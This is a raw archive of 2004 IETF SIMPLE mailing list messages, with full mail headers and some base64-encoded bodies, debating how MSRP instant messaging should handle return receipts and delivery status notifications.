Received: from sj-core-3.cisco.com (171.68.223.137)
  by sj-iport-5.cisco.com with ESMTP; 02 Mar 2004 16:01:04 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id i2300hLM015918;
	Tue, 2 Mar 2004 16:00:43 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL84210;
	Tue, 2 Mar 2004 19:00:41 -0500 (EST)
Message-ID: <40452028.3000201@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Vijay K. Gurbani" <vkg@lucent.com>
CC: Rohan Mahy <rohan@cisco.com>, simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 19:00:40 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I agree that availability of presence may have some impact on 
need/desire for delivery confirmations. Sending the message via session 
mode rather than page mode does too. But I don't agree these 
circumstances are definitive for whether receipts of any kind are 
desired. I think the most you can really say is that the sender can 
choose which kind (if any) is desired.

	Paul

Vijay K. Gurbani wrote:
> Rohan Mahy wrote:
> 
>> Hi,
>>
>> I wanted to record an observation about how optional return receipt 
>> and delivery status notification should be for MSRP. This was inspired 
>> by Eric Burger's comments at the mic about how positive and negative 
>> acknowledgments have a different character.
> 
> 
> Rohan:
> 
> I had started a thread related to Delivery Status reporting
> last week (in response to Jonathan's I-D on Advanced
> IM requirements).  The thread can be followed from the
> following URI:
> 
> http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html 
> 
> 
> The summary of the thread was that it would be good to have
> both positive and negative acknowledgements.  Buried in the
> thread is a following observation which is of interest,
> especially given the email tie-in you mention:
> 
>    It appears that there are two cases to consider: a) where
>    the IM system is tied to a presence system, and b) where
>    it is not.  In (a), a sender can be reasonably sure when
>    he sends the message that the recipient got it.  A
>    confirmation for each message would simply be too awkward,
>    given the volume of IMs that can be potentially exchanged.
>    (b) is more akin to email; the sender sends a message
>    not expecting an immediate response.  If the undelying
>    network fails to deliver the message, it should let the
>    sender know.  Otherwise, no further communications are
>    needed.
> 
> In this view, positive acknowledgements have limited use
> if the IM user is tied to a presence system, but have
> tremendous uses if the IM interface is not tied to a presence
> system.  In short, I think negative acknowledgements should
> be the norm (a la email), but positive acknowledgements
> should be used if the sender of IM does not know what the
> current presence and availability status of the receiver is.
> 
>>     Positive Acknowledgments:
>> I may want to know about partial message delivery so I can interrupt 
>> and resume-in-place when transferring a large IM attachment (walk into 
>> the elevator example).
>>
>> I may want to know just that a complete message was delivered
>>
>> I may want to know that a complete message is queued/stored for user 
>> pickup
>>
>> I may want to know that a complete message was displayed to the target 
>> end user
>>
>> I may want to receive no messages at all about e2e delivery status
>>
>>     Negative Acknowledgements
>> I may want to know that a message was not delivered due to a relay 
>> error and why
>>
>> I may want to know that a message was not delivered because of a UA 
>> error (and why)
>>
>> I may not care if messages don't get delivered e2e (expecting just 
>> best effort)
>>
>> We should figure out a way to indicate which of these you want.  The 
>> mail folks have dealt with very, very similar problems.
>>
>> Homework assignment for the working group: read and understand the 
>> semantics of Delivery Status Notifications (RFC 3464) and Return 
>> Receipts/Message Disposition Notifications (RFC 2298)
>>
>> thanks,
>> -rohan
> 
> 
> Thanks,
> 
> - vijay


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 19:06:49 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11343
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 19:06:49 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJu3-0003rA-Qy
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 19:06:23 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2306Npw014823
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 19:06:23 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJu3-0003r0-NH
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 19:06:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11229
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 19:06:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJu0-0000vK-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:06:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJst-0000gS-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:05:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJrl-0000QA-00; Tue, 02 Mar 2004 19:04:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJrl-0003XL-Ji; Tue, 02 Mar 2004 19:04:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJqn-0003Sa-RC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:03:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA10872
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:02:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJqk-0000Dr-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:02:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJpx-00004N-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:02:09 -0500
Received: from sj-iport-5.cisco.com ([171.68.10.87])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJpL-0007gb-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:01:32 -0500
Received: from sj-core-3.cisco.com (171.68.223.137)
  by sj-iport-5.cisco.com with ESMTP; 02 Mar 2004 16:01:04 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id i2300hLM015918;
	Tue, 2 Mar 2004 16:00:43 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL84210;
	Tue, 2 Mar 2004 19:00:41 -0500 (EST)
Message-ID: <40452028.3000201@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Vijay K. Gurbani" <vkg@lucent.com>
CC: Rohan Mahy <rohan@cisco.com>, simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 19:00:40 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I agree that availability of presence may have some impact on 
need/desire for delivery confirmations. Sending the message via session 
mode rather than page mode does too. But I don't agree these 
circumstances are definitive for whether receipts of any kind are 
desired. I think the most you can really say is that the sender can 
choose which kind (if any) is desired.

	Paul

Vijay K. Gurbani wrote:
> Rohan Mahy wrote:
> 
>> Hi,
>>
>> I wanted to record an observation about how optional return receipt 
>> and delivery status notification should be for MSRP. This was inspired 
>> by Eric Burger's comments at the mic about how positive and negative 
>> acknowledgments have a different character.
> 
> 
> Rohan:
> 
> I had started a thread related to Delivery Status reporting
> last week (in response to Jonathan's I-D on Advanced
> IM requirements).  The thread can be followed from the
> following URI:
> 
> http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html 
> 
> 
> The summary of the thread was that it would be good to have
> both positive and negative acknowledgements.  Buried in the
> thread is a following observation which is of interest,
> especially given the email tie-in you mention:
> 
>    It appears that there are two cases to consider: a) where
>    the IM system is tied to a presence system, and b) where
>    it is not.  In (a), a sender can be reasonably sure when
>    he sends the message that the recipient got it.  A
>    confirmation for each message would simply be too awkward,
>    given the volume of IMs that can be potentially exchanged.
>    (b) is more akin to email; the sender sends a message
>    not expecting an immediate response.  If the undelying
>    network fails to deliver the message, it should let the
>    sender know.  Otherwise, no further communications are
>    needed.
> 
> In this view, positive acknowledgements have limited use
> if the IM user is tied to a presence system, but have
> tremendous uses if the IM interface is not tied to a presence
> system.  In short, I think negative acknowledgements should
> be the norm (a la email), but positive acknowledgements
> should be used if the sender of IM does not know what the
> current presence and availability status of the receiver is.
> 
>>     Positive Acknowledgments:
>> I may want to know about partial message delivery so I can interrupt 
>> and resume-in-place when transferring a large IM attachment (walk into 
>> the elevator example).
>>
>> I may want to know just that a complete message was delivered
>>
>> I may want to know that a complete message is queued/stored for user 
>> pickup
>>
>> I may want to know that a complete message was displayed to the target 
>> end user
>>
>> I may want to receive no messages at all about e2e delivery status
>>
>>     Negative Acknowledgements
>> I may want to know that a message was not delivered due to a relay 
>> error and why
>>
>> I may want to know that a message was not delivered because of a UA 
>> error (and why)
>>
>> I may not care if messages don't get delivered e2e (expecting just 
>> best effort)
>>
>> We should figure out a way to indicate which of these you want.  The 
>> mail folks have dealt with very, very similar problems.
>>
>> Homework assignment for the working group: read and understand the 
>> semantics of Delivery Status Notifications (RFC 3464) and Return 
>> Receipts/Message Disposition Notifications (RFC 2298)
>>
>> thanks,
>> -rohan
> 
> 
> Thanks,
> 
> - vijay


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 19:17:49 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12041
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 19:17:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyK59-0002bj-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:17:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyK4L-0002Ug-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:17:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyK3e-0002Mp-00; Tue, 02 Mar 2004 19:16:18 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyK3O-0005h6-0m; Tue, 02 Mar 2004 19:16:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axjmq-0006II-5X
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 04:32:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04978
	for <simple@ietf.org>; Mon, 1 Mar 2004 04:32:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjmn-0004H8-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:32:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axjlt-00048z-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:31:33 -0500
Received: from cluster-b.mailcontrol.com ([217.68.146.190] helo=rly10b.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjkx-0003y2-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:30:35 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly10b.srv.mailcontrol.com (MailControl) with SMTP id i219Th1Q023150;
	Mon, 1 Mar 2004 09:30:00 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-b.mailcontrol.com [217.68.146.190]) with SMTP; Mon, 1 Mar 2004 09:29:55 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <45730E094814E44488F789C1CDED27AE0219B1C4@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZk
From: "Chris Boulton" <cboulton@ubiquity.com>
To: "Paul Kyzivat" <pkyzivat@cisco.com>, "Eric Burger" <eburger@snowshore.com>
Cc: <simple@ietf.org>
X-Scanned-By: MailControl A-04-00-00 (www.mailcontrol.com)
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 07:00:36 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: base64

IA0KDQoJLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0gDQoJRnJvbTogUGF1
bCBLeXppdmF0IFttYWlsdG86cGt5eml2YXRAY2lzY28uY29tXSANCglTZW50
OiBNb24gMDEvMDMvMjAwNCAwNjo0NCANCglUbzogRXJpYyBCdXJnZXIgDQoJ
Q2M6IHNpbXBsZUBpZXRmLm9yZyANCglTdWJqZWN0OiBSZTogW1NpbXBsZV0g
UkU6IEFkdmFuY2VkIElNIHJlcXVpcmVtZW50cw0KCQ0KCQ0KDQoNCg0KCUVy
aWMgQnVyZ2VyIHdyb3RlOg0KCT4gSSBhZ3JlZS4gIEFnYWluLCB0aGlzIGhp
Z2hsaWdodHMgd2h5IElNRE4gaXMgYXQgdGhlIENQSU0sIGFuZCBub3QgU0lQ
LCBsZXZlbC4NCgk+DQoJPiBGdXJ0aGVyLCB3aGF0IGlzIHRoZSB1c2UgY2Fz
ZSBmb3IgTUROIGluIHNlc3Npb24gbW9kZT8gIFdvdWxkIGFueW9uZSBFVkVS
IHVzZSBpdD8gIEkgZG91YnQgaXQ6IGlmIHlvdSBhcmUgaW4gYSBzZXNzaW9u
LCBwcmVzdW1hYmx5IHlvdSBhcmUgaW50ZXJhY3RpdmUsIHdoaWNoIG1lYW5z
IHlvdSBoYXZlIE9PQiBtZXRob2RzIGZvciBrbm93aW5nIHRoZSBtZXNzYWdl
IHdhc24ndCByZWFkIChlLmcuLCBubyByZXNwb25zZSBmcm9tIHRoZSBvdGhl
ciBwZXJzb24pLg0KCQ0KCUkgYWdyZWUgaXQgZG9lc24ndCBzZWVtIGxpa2Ug
c29tZXRoaW5nIHRoYXQgbm9ybWFsbHkgd291bGQgYmUgdXNlZC4gQnV0DQoJ
dGhlcmUgbWF5IGJlIHNvbWUgY2FzZXMuIEkgbWF5IHdhbnQgZXhwbGljaXQg
Y29uZmlybWF0aW9uIHRoYXQgYQ0KCXBhcnRpY3VsYXIgbWVzc2FnZSBoYXMg
bm90IG9ubHkgYmVlbiBkZWxpdmVyZWQsIGJ1dCByZWFkLiAoVGhpcyBtaWdo
dA0KCXJlcXVpcmUgdGhlIFVBUyB0byBkZW1hbmQgc29tZSBleHBsaWNpdCBj
b25maXJtYXRpb24gZnJvbSB0aGUgZW5kIHVzZXINCgliZWZvcmUgc2VuZGlu
ZyB0aGUgY29uZmlybWF0aW9uLikNCg0KCTw8Q0pCPj4gVGhpcyBpcyBjZXJh
dGFpbmx5IHRoZSByZWFzb24gSSBhbGxvd2VkIGZvciBtb3JlIHRoYW4gb25l
IHJlY2VpcHQgcGVyIHRyYW5zYWN0aW9uLiAgVGhlIG5vdGlvbiBvZiBkZWxp
ZXZlcnkgKyByZWFkIHJlY2VpcHRzIGlzIHNvbWV0aGluZyB0aGF0IGlzIHF1
aXRlIGJlbmVmaWNpYWwgKyBjb3BpZXMgY3VycmVudCBTTVMuIA0KDQoJDQoJ
DQoJQW5vdGhlciBjYXNlIGlzIHdpdGggYW4gSU0gY29uZmVyZW5jZS4gSWYg
SSBzZW5kIGEgbWVzc2FnZSB0byB0aGUgbWl4ZXIsDQoJcmVxdWVzdGluZyBj
b25maXJtYXRpb24sIGlkZWFsbHkgdGhhdCB3b3VsZCBiZSBhbiBlbmQtdG8t
YWxsLWVuZHMNCgljb25maXJtYXRpb24uIFRoZSBtaXhlciB3b3VsZCBoYXZl
IHRvIHJlcXVlc3QgYW5kIHJlY2VpdmUgY29uZmlybWF0aW9uDQoJZnJvbSBh
bGwgcmVjaXBpZW50cyBiZWZvcmUgY29uZmlybWluZyB0byBzZW5kZXIuDQoJ
DQoJPiBHaXZlbiB0aGF0IGFzc2VydGlvbiwgY2FuIHdlIHNheSBJTUROJ3Mg
YXJlIHBhZ2UgbW9kZSBtZXNzYWdlcy4NCgkNCglCYXNlZCBvbiBhYm92ZSwg
SSBzYXkgTk8uDQoNCgk8PENKQj4+IFNvcnJ5IFBhdWwsIEknbSB3aXRoIEVy
aWMgYW5kIHN0aWxsIGp1c3QgZG9uJ3Qgc2VlIHdoZW4gdGhpcyB3b3VsZCBi
ZSB1c2VkLg0KCQ0KCSAgICAgICAgUGF1bA0KCQ0KCQ0KCV9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fDQoJU2ltcGxl
IG1haWxpbmcgbGlzdA0KCVNpbXBsZUBpZXRmLm9yZw0KCWh0dHBzOi8vd3d3
MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3NpbXBsZSA8aHR0cHM6Ly93
d3cxLmlldGYub3JnL21haWxtYW4vbGlzdGluZm8vc2ltcGxlPiANCgkNCg0K
CgpUaGlzIG1lc3NhZ2UgaGFzIGJlZW4gc2Nhbm5lZCBmb3IgdmlydXNlcyBi
eSBNYWlsQ29udHJvbCAtIHd3dy5tYWlsY29udHJvbC5jb20K

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 19:18:21 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12072
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 19:18:21 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyK5C-0006AJ-0N
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 19:17:54 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i230HrB3023691
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 19:17:53 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyK5B-00069l-Qp
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 19:17:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12053
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 19:17:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyK5A-0002bo-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:17:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyK4M-0002Un-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:17:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyK3e-0002Mp-00; Tue, 02 Mar 2004 19:16:18 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyK3O-0005h6-0m; Tue, 02 Mar 2004 19:16:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axjmq-0006II-5X
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 04:32:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04978
	for <simple@ietf.org>; Mon, 1 Mar 2004 04:32:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjmn-0004H8-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:32:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axjlt-00048z-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:31:33 -0500
Received: from cluster-b.mailcontrol.com ([217.68.146.190] helo=rly10b.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjkx-0003y2-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:30:35 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly10b.srv.mailcontrol.com (MailControl) with SMTP id i219Th1Q023150;
	Mon, 1 Mar 2004 09:30:00 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-b.mailcontrol.com [217.68.146.190]) with SMTP; Mon, 1 Mar 2004 09:29:55 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <45730E094814E44488F789C1CDED27AE0219B1C4@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZk
From: "Chris Boulton" <cboulton@ubiquity.com>
To: "Paul Kyzivat" <pkyzivat@cisco.com>, "Eric Burger" <eburger@snowshore.com>
Cc: <simple@ietf.org>
X-Scanned-By: MailControl A-04-00-00 (www.mailcontrol.com)
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 07:00:36 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

IA0KDQoJLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0gDQoJRnJvbTogUGF1
bCBLeXppdmF0IFttYWlsdG86cGt5eml2YXRAY2lzY28uY29tXSANCglTZW50
OiBNb24gMDEvMDMvMjAwNCAwNjo0NCANCglUbzogRXJpYyBCdXJnZXIgDQoJ
Q2M6IHNpbXBsZUBpZXRmLm9yZyANCglTdWJqZWN0OiBSZTogW1NpbXBsZV0g
UkU6IEFkdmFuY2VkIElNIHJlcXVpcmVtZW50cw0KCQ0KCQ0KDQoNCg0KCUVy
aWMgQnVyZ2VyIHdyb3RlOg0KCT4gSSBhZ3JlZS4gIEFnYWluLCB0aGlzIGhp
Z2hsaWdodHMgd2h5IElNRE4gaXMgYXQgdGhlIENQSU0sIGFuZCBub3QgU0lQ
LCBsZXZlbC4NCgk+DQoJPiBGdXJ0aGVyLCB3aGF0IGlzIHRoZSB1c2UgY2Fz
ZSBmb3IgTUROIGluIHNlc3Npb24gbW9kZT8gIFdvdWxkIGFueW9uZSBFVkVS
IHVzZSBpdD8gIEkgZG91YnQgaXQ6IGlmIHlvdSBhcmUgaW4gYSBzZXNzaW9u
LCBwcmVzdW1hYmx5IHlvdSBhcmUgaW50ZXJhY3RpdmUsIHdoaWNoIG1lYW5z
IHlvdSBoYXZlIE9PQiBtZXRob2RzIGZvciBrbm93aW5nIHRoZSBtZXNzYWdl
IHdhc24ndCByZWFkIChlLmcuLCBubyByZXNwb25zZSBmcm9tIHRoZSBvdGhl
ciBwZXJzb24pLg0KCQ0KCUkgYWdyZWUgaXQgZG9lc24ndCBzZWVtIGxpa2Ug
c29tZXRoaW5nIHRoYXQgbm9ybWFsbHkgd291bGQgYmUgdXNlZC4gQnV0DQoJ
dGhlcmUgbWF5IGJlIHNvbWUgY2FzZXMuIEkgbWF5IHdhbnQgZXhwbGljaXQg
Y29uZmlybWF0aW9uIHRoYXQgYQ0KCXBhcnRpY3VsYXIgbWVzc2FnZSBoYXMg
bm90IG9ubHkgYmVlbiBkZWxpdmVyZWQsIGJ1dCByZWFkLiAoVGhpcyBtaWdo
dA0KCXJlcXVpcmUgdGhlIFVBUyB0byBkZW1hbmQgc29tZSBleHBsaWNpdCBj
b25maXJtYXRpb24gZnJvbSB0aGUgZW5kIHVzZXINCgliZWZvcmUgc2VuZGlu
ZyB0aGUgY29uZmlybWF0aW9uLikNCg0KCTw8Q0pCPj4gVGhpcyBpcyBjZXJh
dGFpbmx5IHRoZSByZWFzb24gSSBhbGxvd2VkIGZvciBtb3JlIHRoYW4gb25l
IHJlY2VpcHQgcGVyIHRyYW5zYWN0aW9uLiAgVGhlIG5vdGlvbiBvZiBkZWxp
ZXZlcnkgKyByZWFkIHJlY2VpcHRzIGlzIHNvbWV0aGluZyB0aGF0IGlzIHF1
aXRlIGJlbmVmaWNpYWwgKyBjb3BpZXMgY3VycmVudCBTTVMuIA0KDQoJDQoJ
